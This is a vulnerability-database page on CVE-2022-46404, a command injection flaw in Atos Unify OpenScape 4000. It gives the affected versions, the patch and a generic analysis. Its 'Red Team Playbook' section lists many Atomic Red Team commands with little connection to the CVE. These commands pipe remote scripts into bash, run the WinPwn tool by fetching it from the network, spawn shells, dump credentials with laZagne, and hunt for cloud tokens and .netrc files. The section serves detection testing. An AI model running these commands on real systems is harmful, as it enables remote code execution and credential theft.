CVE-2022-46404
Overview
This vulnerability is a command injection flaw rooted in improper input validation within Atos Unify OpenScape 4000 Assistant and Manager components. Specifically, the affected systems fail to sanitize user-supplied input before executing system-level commands, allowing injection of arbitrary commands. The flaw exists in the management interfaces of versions 8 prior to R2.22.18 and 10 prior to 0.28.13 and R1 before R1.34.4, impacting critical administrative functionalities.
Vulnerability Description
A command injection vulnerability has been identified in Atos Unify OpenScape 4000 Assistant and Unify OpenScape 4000 Manager (8 before R2.22.18, 10 before 0.28.13, and 10 R1 before R1.34.4) that may allow an unauthenticated attacker to upload arbitrary files and achieve administrative access to the system.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to upload arbitrary files and execute commands with administrative privileges, effectively gaining full control over the affected system. No authentication or user interaction is required (AV:N/AC:L/PR:N/UI:N), enabling attackers to compromise system integrity and confidentiality. This can lead to unauthorized access to sensitive data, disruption of services, and potential lateral movement within the network environment.
Solution
Atos has released security updates addressing this issue in OpenScape 4000 Assistant versions R2.22.18 and later, OpenScape 4000 Manager versions 0.28.13 and later, and OpenScape 4000 Manager R1 version R1.34.4 and later. Administrators should apply these patches promptly as detailed in the official advisory (OBSO-2211-02) available at https://networks.unify.com/security/advisories/OBSO-2211-02.pdf. No alternative workarounds are specified; updating to the fixed versions is required to remediate the vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical command injection vulnerability has been identified in the Atos Unify OpenScape 4000 Assistant and Unify OpenScape 4000 Manager, which poses a significant threat to organizations utilizing these communication systems. This vulnerability allows unauthenticated attackers to execute arbitrary commands on the server, potentially leading to unauthorized file uploads and administrative access. The flaw exists in specific versions of the software, making it imperative for users to understand the technical intricacies involved. The underlying issue stems from insufficient input validation, which permits malicious payloads to be executed within the context of the application, thereby compromising the integrity and security of the system.
Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. An unauthenticated user could leverage this flaw by crafting a specially designed request that includes malicious commands. Once executed, these commands could allow the attacker to upload files that may contain malware or other malicious scripts, effectively giving them control over the system. Furthermore, the ability to gain administrative access means that an attacker could manipulate system configurations, extract sensitive data, or even pivot to other networked systems, amplifying the potential damage.
The real-world impact of this vulnerability can be profound, especially for organizations that rely heavily on the affected communication systems for their daily operations. The risk extends beyond mere data loss; it encompasses reputational damage, compliance violations, and financial repercussions. An attacker gaining administrative access could disrupt business continuity, leading to downtime and loss of productivity. Additionally, the exposure of sensitive information could result in legal liabilities and regulatory fines, particularly in industries subject to stringent data protection laws.
To detect and mitigate this command injection vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify potential weaknesses in the system before they can be exploited. Employing web application firewalls (WAFs) can also provide an additional layer of defense by filtering out malicious requests. Furthermore, organizations should ensure that they are running the latest versions of the affected products, as updates often include critical security patches. User education and awareness training can also play a vital role in reducing the risk of exploitation by informing staff about safe practices and the importance of reporting suspicious activities.
In conclusion, the command injection vulnerability in the Atos Unify OpenScape 4000 Assistant and Manager represents a significant threat to organizations that utilize these systems. The potential for unauthorized access and system manipulation underscores the importance of proactive security measures. By understanding the technical details, recognizing the attack vectors, assessing the real-world impact, and implementing robust detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. The evolving threat landscape necessitates a continuous commitment to cybersecurity, ensuring that systems remain resilient against emerging risks.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Atos | Unify Openscape 4000 Assistant | 8 |
cpe:2.3:a:atos:unify_openscape_4000_assistant:8:-:*:*:*:*:*:*
|
|
|
Atos | Unify Openscape 4000 Assistant | 10 |
cpe:2.3:a:atos:unify_openscape_4000_assistant:10:-:*:*:*:*:*:*
|
|
|
Atos | Unify Openscape 4000 Manager | 8 |
cpe:2.3:a:atos:unify_openscape_4000_manager:8:-:*:*:*:*:*:*
|
|
|
Atos | Unify Openscape 4000 Manager | 10 |
cpe:2.3:a:atos:unify_openscape_4000_manager:10:-:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-46404 |
| networks.unify.com |
GitHub CVE
|
https://networks.unify.com/security/advisories/OBSO-2211-02.pdf |
| heise.de |
GitHub CVE
|
https://www.heise.de/news/Kommunikationssoftware-Kritische-Sicherheitsluecke-in-Atos-Unify-OpenScape-4000-7358657.html |